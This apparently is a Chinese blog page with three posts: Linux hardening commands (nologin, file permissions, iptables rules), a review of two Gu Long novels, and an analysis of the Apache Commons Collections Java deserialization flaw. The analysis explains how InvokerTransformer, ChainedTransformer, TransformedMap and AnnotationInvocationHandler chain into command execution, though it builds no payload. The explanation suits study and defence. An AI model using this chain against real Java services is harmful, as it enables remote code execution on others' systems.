    禁用bin用户登陆

    touch /etc/nologin
    禁止除root以外所有用户登陆
    建议禁掉的用户:daemon bin sys adm lp uucp nuucp smmsp等

    设置关键目录的权限

    1
    2
    3
    4
    关键目录:
    chmod 644 /etc/passwd
    chmod 600 /etc/shadow
    chmod 644 /etc/group

    设置目录权限

    1
    2
    3
    ls -l查看权限
    权限前边的ld为d是目录文件,l是链接文件
    chmod -R 750 /etc/init.d/*

    设置关键文件的属性

    禁止ping

    1
    2
    # echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all 开启
    # echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all 关闭

    初始化

    1
    2
    > iptables -F   #清空所有的链
    > iptables -X #清空所有自定义的链

    关掉全部端口

    1
    2
    > iptables -P INPUT DROP
    > iptables -P OUTPUT DROP

    开启端口第一步

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    iptables -A INPUT -p icmp --icmp-type any -j ACCEPT
    允许icmp包进入
    iptables -A INPUT -s localhost -d localhost -j ACCEPT
    允许本地的数据包
    iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    允许已经建立和相关的数据包进入
    iptables -A OUTPUT -p icmp --icmp any -j ACCEPT
    允许icmp包出去
    iptables -A OUTPUT -s localhost -d localhost -j ACCEPT
    允许本地数据包
    iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    允许已经建立和相关的数据包出去

    关闭端口号

    1
    2
    iptables -I INPUT -i eth0 -p tcp --dport 81 -j DROP
    iptables -I OUTPUT -o eth0 -p tcp --sport 81 -j DROP

    打开端口号

    1
    2
    iptables -I INPUT -i eth0 -p tcp --dport 81 -j ACCEPT
    iptables -I OUTPUT -o eth0 -p tcp --sport 81 -j ACCEPT
  • 长生剑与孔雀翎

    长生剑

    1
    2
    3
    4
    天上白玉京
    五楼十二城
    仙人抚我顶
    结发受长生
    1
    白玉京不在天上,在马上
    1
    2
    3
    4
    5
    白玉京并不在天上,在马上
    他的马鞍已经很陈旧,他的靴子和剑鞘同样陈旧,但他的衣服却是崭新的
    他的剑鞘已经敲着马鞍,春风吹在他脸上
    他觉得很愉快,很舒服
    旧马鞍坐着舒服,旧靴子穿着舒服,旧剑鞘绝不会损伤他的剑锋,新衣服也总是令他觉得精神抖擞,活力充沛
    1
    白玉京叹道:“一笑倾人城,再笑倾人国。再锋利的剑,只怕也比不上美人的一笑”
    1
    他骄傲、任性,有时冲动得像是个孩子,有时却又深沉的像是条狐狸

    白玉京因为一个女子,卷入江湖最大黑帮的一场纷争,袁紫霞的笑是致命的,
    甚至比传说中的孔雀翎还要有效,孔雀翎只能杀人,而她的笑还能玩弄男人。一个行走江湖的女人,能懂得用笑来保护自己,满足自己的私欲,是任何武器和武功比不了的

    不过,江湖毕竟是江湖,公平在这是最不值钱的,没有一身铁打的功夫,没有足够的心计,又怎能保护好自己,保护好心爱的人

    所以,我想这就是古龙为什么会在最后感叹这样的一段话

    1
    2
    3
    4
    5
    6
    7
    8
    9
    重要的是,她就在他身旁,而且永远不会再离开他。这就已够了。   

    这就是我说的第一个故事,第一种武器。   

    这故事给我们的教训是一无论多锋利的剑,也比不上那动人的一笑。

    所以我说的第一种武器,并不是剑,而是笑,只有笑才能真征服人心。   

    所以当你懂得这道理,就应该收起你的剑来多笑一笑!

    据说,古龙大叔不仅仅会写书,对于喝酒和女人也是深谙此道,这点我是相信的,没有经历过故事的人,又怎能写出这种趣味和匠心的文字

    白玉京也算是个幸运儿,令万千男儿神魂颠倒的笑容,又怎么能拒绝的了,与心爱的女人,浪迹于天涯,也算是完美的结局了

    写的很乱,也有一些很矛盾的想法,不管怎么说,这都是一部天真但却动人的小说

    在这借用网上一个读者的话

    1
    2
    特别是当你心情低沉,对爱情和真诚失去信心的时候,重读读「长生剑」,我知道它不够真实,
    但是,当我们读武侠时,岂不本来就是在希冀属于我们的童话?

    孔雀翎

    孔雀翎,是天下第一的暗器,也是天下最美的兵器,纯金打造。当然,它的美不是因为它金光灿灿,而是这些暗器发出来时,美丽的就像孔雀开屏一样,辉煌灿烂。
    然而,就在你被这种惊人的生灵感动得目瞪神迷时,它已经要了你的性命

    1
    2
    3
    世上没有任何一种暗器比孔雀翎更可怕,也绝没有任何一种暗器能比孔雀翎更美丽

    没有人能形容它的美丽,也没有人能避开它、招架它

    在这个故事中

    武器终归是武器,再厉害也只是个引子

    高立是个杀手

    秋凤梧也是个杀手

    但他们是相互之间是唯一的朋友

    因为他们背叛了同一个组织,有着相似的品质,同时面对了死亡

    并肩面对死亡的男人,一定会成为至交

    1
    小武笑了笑,道:”我虽然不喜欢一个人往陷阱里跳,但若有朋友陪着,随便往哪里跳那就没有关系了
    1
    2
    3
    又是黄昏
    远山在夕阳中由翠绿变为青灰,泉水流到这里,也渐渐慢了

    双双并不是一个大众眼中的美人,瘦弱、眼盲、发育不全的畸形儿,像一个做的变了形的没人面具

    但她的脸上却没有任何自卑自怜的神色,反而充满了欢乐和自信

    1
    小武说:“她的外貌也许并不美,可是她的心却很美,也许比世上大多数美人都美丽的多。”

    他们之间,不存在什么辜负不辜负,正如高立说的,“为了她这样的女人,你无论做什么都是值得的”

    当一个人有了羁绊,为了自己珍爱的东西,他不得不去战斗,他必须去扛起武器

    高立向小武借了孔雀翎,打败了敌人,却没有动用孔雀翎

    这是第二种武器

    1
    无论多可怕的武器,也比不上人类的信心

    但这并不是故事的结局

    高立用行动证明了他是个有担当的的男人

    秋凤梧可以相信他的友情,他的人品,相信他会保守孔雀翎早就失落这个秘密

    但是干系太大,秋凤梧不敢赌,也不能赌

    所以,最后那杯酒

    一个人难免犯错,但是,犯了错,就必须去弥补,甚至是生命

    金开甲说

    1
    武功本就是入世的,只要你肯用心,无论做什么事的时候,都一样可以锻炼你的武功
  • Apache-CommonsCollections Unserialize Vulnerabilities

    序列化

    是指把 Java 对象转换为字节序列的过程
    便于保存在内存、文件、数据库中
    ObjectOutputStream类的 writeObject() 方法可以实现序列化
    

    反序列化

    是指把字节序列恢复为 Java 对象的过程
    ObjectInputStream 类的 readObject() 方法用于反序列化
    

    0x00 Serialize and Unserialize

    序列化

    是指把 Java 对象转换为字节序列的过程
    便于保存在内存、文件、数据库中
    ObjectOutputStream类的 writeObject() 方法可以实现序列化
    

    反序列化

    是指把字节序列恢复为 Java 对象的过程
    ObjectInputStream 类的 readObject() 方法用于反序列化
    

    0x01 代码分析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public interface Transformer {
    /**
    * Transforms the input object (leaving it unchanged) into some output object.
    *
    * @param input the object to be transformed, should be left unchanged
    * @return a transformed object
    * @throws ClassCastException (runtime) if the input is the wrong class
    * @throws IllegalArgumentException (runtime) if the input is invalid
    * @throws FunctorException (runtime) if the transform cannot be completed
    */
    public Object transform(Object input);

    }

    接口的作用是 Transforms the input object (leaving it unchanged) into some output object.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
    }

    /**
    * Transforms the input to result by invoking a method on the input.
    *
    * @param input the input object to transform
    * @return the transformed result, null if null input
    */
    public Object transform(Object input) {
    if (input == null) {
    return null;
    }
    try {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
    }
    method.invoke(owner, args):执行该Method.invoke方法的参数是执行这个方法的对象owner,和参数数组args,可以这么理解:owner对象中带有参数args的method方法。返回值是Object,也既是该方法的返回值。
    

    input参数即是反射的对象
    iMethodName 、iParamTypes 为调用的方法名称以及该方法的参数类型
    iArgs 为对应方法的参数

    以上参数均可控

    InvokerTransformer继承了Transformer和Serializable接口,通过传入这三个参数通过Java的反射机制可以调用任意函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    /**
    * Constructor that performs no validation.
    * Use <code>getInstance</code> if you want that.
    *
    * @param constantToReturn the constant to return each time
    */
    public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    /**
    * Transforms the input by ignoring it and returning the stored constant instead.
    *
    * @param input the input object which is ignored
    * @return the stored constant
    */
    public Object transform(Object input) {
    return iConstant;
    }

    返回iConstant属性
    参数可控

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    /**
    * Constructor that performs no validation.
    * Use <code>getInstance</code> if you want that.
    *
    * @param transformers the transformers to chain, not copied, no nulls
    */
    public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
    }

    /**
    * Transforms the input to result via each decorated transformer
    *
    * @param object the input object passed to the first transformer
    * @return the transformed result
    */
    public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
    }
    return object;
    }

    传入一个Transformer数组
    transform()方法是for循环调用Transformer数组的transform方法,参数为object

    这样就可以通过构造包含命令的 ChainedTransformer 对象,然后需要触发 ChainedTransformer 对象的 transform() 方法执行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    /**
    * Override to transform the value when using <code>setValue</code>.
    *
    * @param value the value to transform
    * @return the transformed value
    * @since Commons Collections 3.1
    */
    protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
    }

    TransformedMap 中的 checkSetValue() 方法会触发transform()

    1
    2
    3
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    TransformedMap是Map的一个封装,将Map对象转换,当Map参数修改,Transformer就会被调用

    可以首先构造一个 Map 和一个能够执行代码的 ChainedTransformer ,以此生成一个 TransformedMap

    构造好TransformedMap后就需要想办法触发checkSetValue() 函数

    1
    2
    3
    4
    5
    6
    7
    8
    class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    this.type = type;
    this.memberValues = memberValues;
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
    annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
    // Class is no longer an annotation type; all bets are off
    return;
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);
    if (memberType != null) { // i.e. member still exists
    Object value = memberValue.getValue();
    if (!(memberType.isInstance(value) ||
    value instanceof ExceptionProxy)) {
    // 此处触发一些列的Transformer
    memberValue.setValue(
    new AnnotationTypeMismatchExceptionProxy(
    value.getClass() + "[" + value + "]").setMember(
    annotationType.members().get(name)));
    }
    }
    }
    }

    readObject()函数中对memberValues的每一项调用了setValue()函数

    1
    2
    3
    4
    public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
    }

    setValue()会触发checkSetValue()

    所以构造 AnnotationInvocationHandler时进行序列化,当触发 readObject() 反序列化的时候,就能实现命令执行

    参考:
    http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
    https://security.tencent.com/index.php/blog/msg/97
    http://drops.wooyun.org/papers/10467
    http://drops.wooyun.org/papers/13244